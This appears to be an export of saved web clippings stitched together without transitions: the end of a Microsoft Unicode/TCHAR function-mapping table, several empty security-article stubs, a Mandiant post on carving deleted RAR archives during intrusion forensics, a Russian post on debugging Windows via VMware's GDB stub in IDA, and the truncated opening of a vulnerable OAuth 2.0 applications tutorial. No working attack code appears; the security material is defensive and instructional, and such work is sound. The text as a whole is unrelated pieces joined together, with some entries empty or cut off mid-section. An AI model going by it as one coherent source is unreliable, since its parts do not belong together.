\_findnext64 | \_wfindnext64 | \_tfindnext64  
\_findnext | \_wfindnext | \_tfindnext  
\_findnexti64 | \_wfindnexti64 | \_tfindnexti64  
\_fputchar | \_fputwchar | \_fputtchar  
\_fsopen | \_wfsopen | \_tfsopen  
\_fullpath | \_wfullpath | \_tfullpath  
\_getch | \_getwch | \_gettch  
\_getche | \_getwche | \_gettche  
\_getcwd | \_wgetcwd | \_tgetcwd  
\_getdcwd | \_wgetdcwd | \_tgetdcwd  
\_ltoa | \_ltow | \_ltot  
\_makepath | \_wmakepath | \_tmakepath  
\_mkdir | \_wmkdir | \_tmkdir  
\_mktemp | \_wmktemp | \_tmktemp  
\_open | \_wopen | \_topen  
\_popen | \_wpopen | \_tpopen  
\_putch | \_putwch | \_puttch  
\_putenv | \_wputenv | \_tputenv  
\_rmdir | \_wrmdir | \_trmdir  
\_scprintf | \_scwprintf | \_sctprintf  
\_searchenv | \_wsearchenv | \_tsearchenv  
\_snprintf | \_snwprintf | \_sntprintf  
\_snscanf | \_snwscanf | \_sntscanf  
\_sopen | \_wsopen | \_tsopen  
\_spawnl | \_wspawnl | \_tspawnl  
\_spawnle | \_wspawnle | \_tspawnle  
\_spawnlp | \_wspawnlp | \_tspawnlp  
\_spawnlpe | \_wspawnlpe | \_tspawnlpe  
\_spawnv | \_wspawnv | \_tspawnv  
\_spawnve | \_wspawnve | \_tspawnve  
\_spawnvp | \_wspawnvp | \_tspawnvp  
\_spawnvpe | \_wspawnvpe | \_tspawnvpe  
\_splitpath | \_wsplitpath | \_tsplitpath  
\_stat64 | \_wstat64 | \_tstat64  
\_stat | \_wstat | \_tstat  
\_stati64 | \_wstati64 | \_tstati64  
\_strdate | \_wstrdate | \_tstrdate  
\_strdec | \_wcsdec | \_tcsdec  
\_strdup | \_wcsdup | \_tcsdup  
\_stricmp | \_wcsicmp | \_tcsicmp  
\_stricoll | \_wcsicoll | \_tcsicoll  
\_strinc | \_wcsinc | \_tcsinc  
\_strlwr | \_wcslwr | \_tcslwr  
\_strncnt | \_wcsncnt | \_tcsnbcnt  
\_strncnt | \_wcsncnt | \_tcsnccnt  
\_strncnt | \_wcsncnt | \_tcsnccnt  
\_strncoll | \_wcsncoll | \_tcsnccoll  
\_strnextc | \_wcsnextc | \_tcsnextc  
\_strnicmp | \_wcsnicmp | \_tcsncicmp  
\_strnicmp | \_wcsnicmp | \_tcsnicmp  
\_strnicoll | \_wcsnicoll | \_tcsncicoll  
\_strnicoll | \_wcsnicoll | \_tcsnicoll  
\_strninc | \_wcsninc | \_tcsninc  
\_strnset | \_wcsnset | \_tcsncset  
\_strnset | \_wcsnset | \_tcsnset  
\_strrev | \_wcsrev | \_tcsrev  
\_strset | \_wcsset | \_tcsset  
\_strspnp | \_wcsspnp | \_tcsspnp  
\_strtime | \_wstrtime | \_tstrtime  
\_strtoi64 | \_wcstoi64 | \_tcstoi64  
\_strtoui64 | \_wcstoui64 | \_tcstoui64  
\_strupr | \_wcsupr | \_tcsupr  
\_tempnam | \_wtempnam | \_ttempnam  
\_ui64toa | \_ui64tow | \_ui64tot  
\_ultoa | \_ultow | \_ultot  
\_ungetch | \_ungetwch | \_ungettch  
\_unlink | \_wunlink | \_tunlink  
\_utime64 | \_wutime64 | \_tutime64  
\_utime | \_wutime | \_tutime  
\_vscprintf | \_vscwprintf | \_vsctprintf  
\_vsnprintf | \_vsnwprintf | \_vsntprintf  
asctime | \_wasctime | \_tasctime  
atof | \_wtof | \_tstof  
atoi | \_wtoi | \_tstoi  
atoi | \_wtoi | \_ttoi  
atol | \_wtol | \_tstol  
atol | \_wtol | \_ttol  
character compare | Maps to macro or inline function | \_tccmp  
character copy | Maps to macro or inline function | \_tccpy  
character length | Maps to macro or inline function | \_tclen  
ctime | \_wctime | \_tctime  
fgetc | fgetwc | \_fgettc  
fgets | fgetws | \_fgetts  
fopen | \_wfopen | \_tfopen  
fprintf | fwprintf | \_ftprintf  
fputc | fputwc | \_fputtc  
fputs | fputws | \_fputts  
freopen | \_wfreopen | \_tfreopen  
fscanf | fwscanf | \_ftscanf  
getc | getwc | \_gettc  
getchar | getwchar | \_gettchar  
getenv | \_wgetenv | \_tgetenv  
gets | getws | \_getts  
isalnum | iswalnum | \_istalnum  
isalpha | iswalpha | \_istalpha  
isascii | iswascii | \_istascii  
iscntrl | iswcntrl | \_istcntrl  
isdigit | iswdigit | \_istdigit  
isgraph | iswgraph | \_istgraph  
islead \(Always FALSE\) | \(Always FALSE\) | \_istlead  
isleadbyte \(Always FALSE\) | isleadbyte \(Always FALSE\) | \_istleadbyte  
islegal \(Always TRUE\) | \(Always TRUE\) | \_istlegal  
islower | iswlower | \_istlower  
isprint | iswprint | \_istprint  
ispunct | iswpunct | \_istpunct  
isspace | iswspace | \_istspace  
isupper | iswupper | \_istupper  
isxdigit | iswxdigit | \_istxdigit  
main | wmain | \_tmain  
perror | \_wperror | \_tperror  
printf | wprintf | \_tprintf  
putc | putwc | \_puttc  
putchar | putwchar | \_puttchar  
puts | \_putws | \_putts  
remove | \_wremove | \_tremove  
rename | \_wrename | \_trename  
scanf | wscanf | \_tscanf  
setlocale | \_wsetlocale | \_tsetlocale  
sprintf | swprintf | \_stprintf  
sscanf | swscanf | \_stscanf  
strcat | wcscat | \_tcscat  
strchr | wcschr | \_tcschr  
strcmp | wcscmp | \_tcscmp  
strcoll | wcscoll | \_tcscoll  
strcpy | wcscpy | \_tcscpy  
strcspn | wcscspn | \_tcscspn  
strerror | \_wcserror | \_tcserror  
strftime | wcsftime | \_tcsftime  
strlen | wcslen | \_tcsclen  
strlen | wcslen | \_tcslen  
strncat | wcsncat | \_tcsncat  
strncat | wcsncat | \_tcsnccat  
strncmp | wcsncmp | \_tcsnccmp  
strncmp | wcsncmp | \_tcsncmp  
strncpy | wcsncpy | \_tcsnccpy  
strncpy | wcsncpy | \_tcsncpy  
strpbrk | wcspbrk | \_tcspbrk  
strrchr | wcsrchr | \_tcsrchr  
strspn | wcsspn | \_tcsspn  
strstr | wcsstr | \_tcsstr  
strtod | wcstod | \_tcstod  
strtok | wcstok | \_tcstok  
strtol | wcstol | \_tcstol  
strtoul | wcstoul | \_tcstoul  
strxfrm | wcsxfrm | \_tcsxfrm  
system | \_wsystem | \_tsystem  
tmpnam | \_wtmpnam | \_ttmpnam  
tolower | towlower | \_totlower  
toupper | towupper | \_totupper  
ungetc | ungetwc | \_ungettc  
vfprintf | vfwprintf | \_vftprintf  
vprintf | vwprintf | \_vtprintf  
vsprintf | vswprintf | \_vstprintf  
WinMain | wWinMain | \_tWinMain  
Top of page

### References

  * Unicode Programming Summary
  * Data Type Mappings
  * Constant and Global Variable Mappings
  * Routing Mappings
  * Support for using wmain
  * Buffer Manipulation Routines
  * Byte Classification Routines
  * Character Classification Routines
  * String manipulation Routines
  * Locale Routines
  * "**MSLU** : Develop Unicode Applications for Windows 9x Platforms with the **Microsoft Layer for Unicode**" Michael Kaplan, Cathy Wissink
  * "Design a Single Unicode App that Runs on Both Windows 98 and Windows 2000" F. Avery Bishop, April 1999.
  * "Supporting Multilanguage Text Layout and Complex Scripts with Windows NT 5.0" F. Avery Bishop, David C Brown and Davis M Meltzer, November 1998.
  * Newsgroup: MSDN MSLU
  * Newsgroup: MSDN Internationalization

<img src='img/Temp2_1430.gif' width='88' height='31' alt='Encoded in UTF-8!'
/>

  

# Understanding and bypassing Windows Heap Protection

**Created:**| _4/15/2010 3:58:35 PM_  
---|---  
**Updated:**| _4/15/2010 3:59:14 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Debugging windows security
reversing conference-material Heap_  
  
<img src='img/Temp2_8710' />

# Carving Station – RAR Files | M-unition
**Created:**| _1/16/2013 1:36:27 PM_  
---|---  
**Updated:**| _1/16/2013 1:36:27 PM_  
**Author:**| __  
**Tags:**| _post-exploitation incident response_  
  

# Carving Station – RAR Files

By Mary Singh  on January 9, 2013

This post will discuss the technique of carving files from unallocated disk
space. “Carving” simply means extracting a specific section of bytes from an
area of disk space; ideally those bytes make up a complete file. You can carve
any kind of file, but in this post we will specifically address how to carve
RAR archives from unallocated disk space.

Why RAR files? In many of Mandiant’s investigations of targeted attacks, an
attacker will collect data and compress it into a RAR archive prior to taking
it from the targeted network. Advanced attackers go a step further and attempt
to hide their tracks by deleting the archive tool, the archive itself and
other artifacts we will discuss in future blog posts.

**RAR Carvin’**  
What can you do when the attacker deletes the archive? In our example case, we
know the attacker executed “rar.exe” a.k.a. “WinRAR” because the evidence
contained a prefetch file named “RAR.EXE-12F2DC4F.pf”. At this point, the
easiest investigative step is to search for files with the extension “.rar” or
– even better – conduct file signature analysis in the event the attacker
changed the file extension. If you don’t find any files, does this mean the
attacker executed WinRAR just for fun? Most likely not.

Since we know the attacker used WinRAR, but deleted the resulting files,
conduct a search for RAR file headers in unallocated space \(the “deleted”
files graveyard\). A “file header” is the signature placed at the beginning of
a file. Most RAR files start with the ASCII characters “Rar\!···” or “52 61 72
21 1A 07 00” in hex. Older versions of WinRAR may create files with different
values in the last three header bytes. To reduce false negatives, it’s best to
search for “52 61 72 21” or “52 45 7E 5E” to find older RAR formats \(see
Forensics Wiki \).

In this case, we will conduct a search for “Rar\!” in unallocated space and
find a section of the disk that looks especially interesting.

<img src='img/Temp2_1390.jpg' />

Figure 1: RAR Header in Unallocated Space

As with any keyword search, be careful of false positives\! Some antivirus
vendors, such as Symantec, use RAR files for signature updates. There may also
be false positives due to the random nature of the data in unallocated space.
To help counteract the false positives, you can narrow search results by
identifying the position of the header in the data cluster and/or the
composition of the data after the header. The position in the data cluster is
important because when a file is created on disk, the beginning of the file
will be at the start of the data cluster. Data clusters are a portion of
logical disk space allocated for a file. Notice the data in Figure 1 is
condensed, which is expected for an archive file. If the composition of the
data after the header is condensed and randomized, this offers more evidence
that the search result is a legitimate RAR file. Compare Figure 1 to the
result in Figure 2 below, which has partial cleartext and breaks in the data.
The result in Figure 2 is not a valid RAR archive.

<img src='img/Temp2_1386.jpg' />

Figure 2: False positive RAR Header in Unallocated Space

Once a legitimate header is identified, carve the data from unallocated space
starting with “Rar\!”. Since a RAR file does not have a footer, or a defined
end of the file, we have to guess the size. A raw view of the unallocated
space may help visually define the file size. There is normally a clear
demarcation at the end of the RAR file, a “RAR end” if you will, as shown in
Figure 3 below.

<img src='img/Temp2_1385.jpg' />

Figure 3: RAR End in Unallocated Space

If you have no idea of the file size, 5MB is a good size to start with; but
you will most likely have to increase or decrease the size until there is no
more contiguous data or the data is overwritten/fragmented. EnCase or FTK can
be used to manually export the data, or free tools such as Foremost  or
Scalpel . FTK also has a built in capability to automatically carve files
based on a defined header and/or footer.

Once the RAR file is carved out, you can open it with your favorite file
archive tool such as WinRAR, 7-Zip, or WinZIP . If you are unable to open the
file, try carving files with different sizes. Bigger is usually better; a
valid RAR archive generally won’t open if there is too little data rather than
too much. If the file is a legitimate RAR with enough data, you should be able
to extract the archive \(even if it’s a partial file\). In this example, a
password prompt appears. Now you know this is an interesting file\!

<img src='img/Temp2_1388.jpg' width='250' height='181' />

Figure 4: Password prompt

How can we find the password? Your chances depend on several factors, such as
the age of attacker activity, level of general activity on the system and size
of memory. If you are lucky enough to have a memory image, you can search the
strings in memory using a tool such as Mandiant Redline ™. Otherwise, you can
search unallocated space and the Windows pagefile for WinRAR command line
switches such as “-hp”. This switch enables the creation of a password
protected archive. After removing the inevitable false positives, your results
will look similar to Figure 5 shown below.

<img src='img/Temp2_1389.jpg' />

Figure 5: RAR command in pagefile.sys

The Windows pagefile shown in Figure 5 also retained a directory listing of
potential files that were in the archive. This shows you can still glean
information from RAR command searches even if the RAR file is unrecoverable.
If the password search doesn’t work, you can try to crack the password using
brute force  or dictionary attacks. However, if you are not the NSA, you may
have limited success with this.

**RAR file content indicators**  
Worst case scenario, if you can’t find or crack the RAR password, remember the
ultimate goal: to determine what is inside the archive. Following are four
ways – with brief explanations – for how to retrieve additional information on
what was inside an archive.

  1. **Prefetch file**  
If you are fortunate enough to have a prefetch file for rar.exe, that may show
accessed files. The prefetch file contains a large amount of data, such as
first and last run dates, path to the executable and accessed file. NirSoft’s
Winprefetchview  is a useful free tool  you can use to extract prefetch data.

<img src='img/Temp2_1391.jpg' />

Figure 6: Files accessed by rar.exe shown in WinPrefetchView

  2. **WinRAR directory  
**What if there is no prefetch file? You may be able to determine whether RAR
was executed if a “WinRAR” directory is present on the file system. The
default directories are “%APPDATA%\WinRAR” on Windows XP and
“%APPDATA%\Roaming\WinRAR” on Windows 7. Depending on the version, WinRAR may
create this directory by default when the program executes. If you’re lucky
enough to have this evidence, you can create a timeline around the creation
and modification dates of the “WinRAR” directory to find corresponding files
of interest.

  3. **Shellbags  
**Windows creates “shellbags” when a user logs into a system locally or
interactively. They track information for Explorer. A helpful attribute of
Shellbags is that they track previously navigated directories, even deleted
directories. So, if an attacker gathered information in a staging directory
prior to compressing into a RAR file, you could potentially see that directory
in Shellbags. Willi Ballenthin  created a nice python script to parse
Shellbags which can be found here .

  4. **Internet History  
**Internet Explorer not only records Internet browsing, but internal system
navigation as well. If an attacker was logged on interactively, the IE history
could reveal the targeted files. Attackers are aware of this and will delete
internet history, especially on an account that is not used frequently. By the
way, you can also carve deleted internet history, but that’s a topic for
another day.

These four techniques are just the first step. You may need to create and
search for additional keywords, conduct timeline analysis, or even analyze an
entirely different system if the original location of the targeted files was
external.

If you would like to practice carving different types of files, including RAR
files, NIST recently released forensic images intended for testing file
carving capabilities of software, http://www.cfreds.nist.gov/FileCarving/ .
There are many file carving tools out there, so if you have any
recommendations, feel free add a comment below or direct message me on Twitter
@marycheese .

Category: The Lab

<img src='img/Temp2_1387.jpg' /> <img src='img/Temp2_1387.jpg' /> <img
src='img/Temp2_1387.jpg' /> <img src='img/Temp2_1387.jpg' />

# MalwareAnalysis - pyew - Fast malware analysis example - Project Hosting on
Google Code

**Created:**| _11/21/2010 6:35:19 PM_  
---|---  
**Updated:**| _12/11/2010 11:26:14 AM_  
**Author:**| __  
**Tags:**| _security tools reversing Malware-analysis_  
  

# My aimful life: VMware + GDB stub + IDA

**Created:**| _7/3/2012 8:44:07 AM_  
---|---  
**Updated:**| _7/3/2012 8:44:07 AM_  
**Author:**| __  
**Tags:**| _Debugging iDA virtusalisation_  
  

### VMware + GDB stub + IDA

Многим известно, что в системе виртуализации VMware Worstation с самых
незапамятных времен существует стандартный GDB интерфейс для удалённой
отладки, однако, мало кто пользуется ним в повседневной работе в силу того,
что отладку в "голом" GDB тяжело назвать удобной. Однако, в роли вполне
вменяемого клиента для отладочного интерфейса GDB может выступать IDA Pro, в
которой соответствующий функционал был добавлен ещё в 5-й ветке, но работать
должным образом и без багов начал только в 6.0.  
Отладка гостевой операционной системы Windows c использованием связки VMware +
GDB stub + IDA бывает незаменимой когда приходится иметь дело с
детектированием удалённых отладчиков ядра, отладкой PatchGuard, отладкой
процесса загрузки ОС а так же критического кода \(например, векторов
прерываний\) который по тем или иным причинам тяжело отлаживать с помощью
WinDbg.  
Очевидно, что отладочный интерфейс гипервизора ничего не знает о среде
запущенной на нем операционной системы Windows сам по себе, поэтому, для
комфортной отладки с использованием VMware + GDB stub требуется некоторая
настройка IDA Pro как debug клиента. В Hex Blog, в своё время, была
опубликована заметка с описанием подобной настройки, к которой прилагался
скрипт vmware\_modules.py, который осуществляет:  
  

  * Нахождение nt\!PsLoadedModuleList и перечисление всех загруженных в настоящий момент модулей режима ядра, с последующим созданием сегментов для каждого из них.
  * Загрузку отладочных символов для всех найденных модулей.

  
Из-за ряда ошибок и недоработок в оригинальном скрипте, который не позволял
нормально работать с ним - я решил его переписать, внеся следующие изменения:  
  

  * Переписан алгоритм нахождения nt\!PsLoadedModuleList. Оригинальный скрипт использовал базу сегмента FS для доступа к структуре \_KPCR, что является не лучшей идеей: на остановленной в случайное время виртуальной машине в FS может быть загружен как user-mode, так и kernel-mode селектор, а поскольку в режиме пользователя FS указывает на совсем другую структуру \(\_TEB\) - очень часто скрипт vmware\_modules.py попросту не срабатывал. Вместо этого я реализовал поиск адреса nt\!PsLoadedModuleList по сигнатуре в исполняемом образе ядра, адрес загрузки которого, в свою очередь, находится путём анализа векторов прерываний.
  * Добавлена полная поддержка Windows x64, отсутствовавшая в оригинальном скрипте. Поскольку стандартный способ для определения разрядности debug target-а через idainfo.is\_32bit\(\) / idainfo.is\_64bit\(\) на моей версии IDA Pro и IDAPython не работал \(соответствующие функции всегда возвращали False\) - я реализовал данный функционал путём небольшого хака с проверкой значения старших 24-х бит базы IDT.
  * Исправлены ошибки с загрузкой отладочных символов для модулей, чей полный путь не соответствует формату \SystemRoot\System32\<some\_path>.

  
Моя версия скрипта доступна для загрузки в репозитории на GitHub:  
https://github.com/Cr4sh/IDA-VMware-GDB  
  
Необходимые шаги по настройке:  
  

  1. Установить IDA Pro от 6.0 и старше и актуальную версию IDAPython для неё.
  2. Отредактировать .vmx файл виртуальной машины, добавив в него строчку debugStub.listen.guest32 = "TRUE" для 32-х разрядных гостевых операционных систем или debugStub.listen.guest64 = "TRUE" для 64-х разрядных.
  3. Для успешной загрузки отладочных символов необходимо скопировать директорию %SystemRoot%\system32 из гостевой операционной системы в хостовую, и указать путь к ней в переменной SYSTEM32\_COPY\_PATH внутри скрипта IDA-VMware-GDB.py.
  4. После запуска гостевой операционной системы в VMware Workstation можно в любое время подключить к виртуальной машине удалённый отладчик, для чего в IDA Pro следует выбрать пункт главного меню "Debugger" → "Attach" → "Remote GDB Debugger", указав номер порта 8832 для 32-х разрядного debug target-а или 8864 для 64-х разрядного. При этом IDA и GDB stub не конфликтуют с удалённой отладкой ядра Windows с помощью WinDbg и использовать с виртуальной машиной можно оба отладчика одновременно.

  
  
После выполнения данных шагов и запуска скрипта IDA-VMware-GDB.py становится
возможной навигация между загруженными в память модулями режима ядра:  
  

<img src='img/Temp2_5528.png' />

  
А так же навигация по именам, которые были получены из отладочных символов:  
  

<img src='img/Temp2_5527.png' />

  

# Darun Grim - A Tool For Binaray Diffing

**Created:**| _6/20/2010 10:25:03 PM_  
---|---  
**Updated:**| _6/20/2010 10:25:48 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification security tools Exploit reversing
conference-material bin-diffing_  
  
<img src='img/Temp2_1963' />

# koenbuyens/Vulnerable-OAuth-2.0-Applications: vulnerable OAuth 2.0
applications: understand the security implications of your OAuth 2.0
decisions.

**Created:**| _5/18/2021 5:46:38 PM_  
---|---  
**Updated:**| _5/18/2021 5:46:38 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='435'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1248' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />OAuth 2.0: Security Considerations

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='436'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1250' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />TL;DR

We show how to use OAuth 2.0 securely when using a Classic Web Application, a
Single Page Application, and a Mobile Application as clients. For each of
these clients, we elaborate on the overall design, implement that design, and
touch upon common security mistakes. You can exploit these mistakes by
deploying the damn vulnerable OAuth 2.0 applications.

  * OAuth 2.0: Security Considerations
    * TL;DR
    * Introduction
    * Running Example and Background
    * An OAuth 2.0 Enabled Application: Architecture, Design, Implementation, and Testing: Common Mistakes
    * Conclusion
    * References
      * OAuth 2.0 Core
      * Mobile and Other Devices
      * Token and Token Management
      * Other Extensions
      * Community Resources
      * Protocols Built on OAuth 2.0
    * TODOs

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='437'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1270' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Introduction

In this article, we elaborate on _common_ security mistakes that architects
and developers make when designing or implementing OAuth 2.0-enabled
applications. The article not only describes these mistakes from a theoretical
perspective, but also provides a set of working sample applications that
contain those mistakes. This serves three purposes:

  1. developers are able to identify a missing security control and learn how to implement it securely.
  2. architects and developers are able to assess the impact of not implementing a security control.
  3. Testers are able to identify the mistakes in a running application.

The article is structured as follows. Section Background introduces the OAuth
2.0 Protocol using a running example. The subsequent sections show how to use
OAuth 2.0 when using a Classic Web Application, a Single Page Application, and
Mobile Application as clients. For each of these sections, we elaborate on the
overall design, implement that design using the MEAN stack, and touch upon
common security mistakes. Section Checklists summarizes this article in the
form of checklists for architects, developers, and testers. Finally, Section
Conclusion concludes.

**Note:** the mistakes are common across technology stacks; we use the MEAN
stack for illustration purposes only.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='438'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1280' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Running Example and Background

Our canonical running example consists of a web site that enables users to
manage pictures, named `gallery`. This gallery application is similar to
`flickr.com` in the sense that users can upload pictures, share them with
friends, and organize those pictures in different albums.

As our gallery application became quite popular, we got requests from various
companies to integrate with our `gallery` application. To that end, we decided
to open up the `REST API` that forms the foundation of our application towards
those companies. These companies use the following types of clients:

  * a third-party website that allows users to print the pictures hosted at our gallery site, named `photoprint`.
  * a third-party mobile application that enables users to upload pictures, named `mypics`.
  * a first-party mobile application that enables gallery users to upload pictures and change their profile, named `mobilegallery`.
  * a single-page application displaying a live feed of a posted pictures, named `livepics`.

As we are concerned about security, users should be able to give those third-
party applications permission to access their pictures without providing their
username and password to those applications. It seems that the OAuth 2.0
protocol might help achieve our goals.

<img src='img/Temp2_10433.png' width='567' height='363' />

OAuth 2.0 is a standard that enables users to give websites access to their
data/services at other websites. For instance, a user gives a photo printing
website access to her pictures on Flickr. Before performing a deep-dive into
the specifics of OAuth 2.0, we introduce some definitions \(taken from
auth0\):

  * _**Resource Owner**_ : the entity that can grant access to a protected resource. Typically this is the end-user.
  * _**Client**_ : an application requesting access to a protected resource on behalf of the Resource Owner. This is also called a Relying Party.
  * _**Resource Server**_ : the server hosting the protected resources. This is the API you want to access, in our case `gallery`.
  * _**Authorization Server**_ : the server that authenticates the Resource Owner, and issues access tokens after getting proper authorization. This is also called an identity provider \(IdP\).
  * _**User Agent**_ : the agent used by the Resource Owner to interact with the Client, for example a browser or a mobile application.

In OAuth 2.0, the interactions between the user and her browser, the
Authorization Server, and the Resource Server can be performed in four
different flows.

  1. the _**authorization code grant**_ : the _Client_ redirects the user \(_Resource Owner_\) to an _Authorization Server_ to ask the user whether the _Client_ can access her _Resources_. After the user confirms, the _Client_ obtains an _Authorization Code_ that the _Client_ can exchange for an _Access Token_. This _Access Token_ enables the _Client_ to access the _Resources_ of the _Resource Owner_.
  2. the _**implicit grant**_ is a simplification of the authorization code grant. The Client obtains the _Access Token_ directly rather than being issued an _Authorization Code_.
  3. the _**resource owner password credentials grant**_ enables the _Client_ to obtain an _Access Token_ by using the username and password of the _Resource Owner_.
  4. the _**client credentials grant**_ enables the _Client_ to obtain an Access Token by using its own credentials.

Do not worry if you do not understand the flows right away. They are
elaborated upon in detail in subsequent sections. What you should remember is
that:

  * _Clients_ can obtain _Access Tokens_ via four different flows.
  * _Clients_ use these access tokens to access an API.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='439'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1339' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />An OAuth 2.0 Enabled Application:
Architecture, Design, Implementation, and Testing: Common Mistakes

You make many design decisions when architecting an OAuth 2.0 enabled
application. Read Architect: Major Design Decisions to understand the security
impact of major design decisions, such as the selected OAuth 2.0 grant, the
use of refresh tokens, and integrating with third parties.

Once you selected the grants, you need to make various local design decisions
as well as implementation decisions.

  * Read Authorization Code Grant to understand how to use this grant for a classic web application. 
    * Read Developer: Minor Design Decisions and Insecure Implementation to understand the common security pitfals and how to avoid them.
    * Read Tester: Exploit Mistakes to understand how you can detect and exploit those common mistakes.
  * Read Implicit Grant to understand how to use this grant for a Single-Page web application.
  * Read Resource Owner Password Credentials Grant to understand how to use this flow with a first party mobile application.
  * Read Client Credentials Grant to understand how to use this flow in a B2B scenario.
  * Read Authorization Code Grant with PKCE to understand how to use this grant for a third-party mobile application.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='440'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1352' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Conclusion

In this article, we showed how to use OAuth 2.0 securely when using

  * a Classic Web Application,
  * a Single Page Application, and
  * a Mobile Application as clients. For each of these clients, we elaborated on the overall design, implemented that design using the MEAN stack, and touched upon common security mistakes.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='441'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
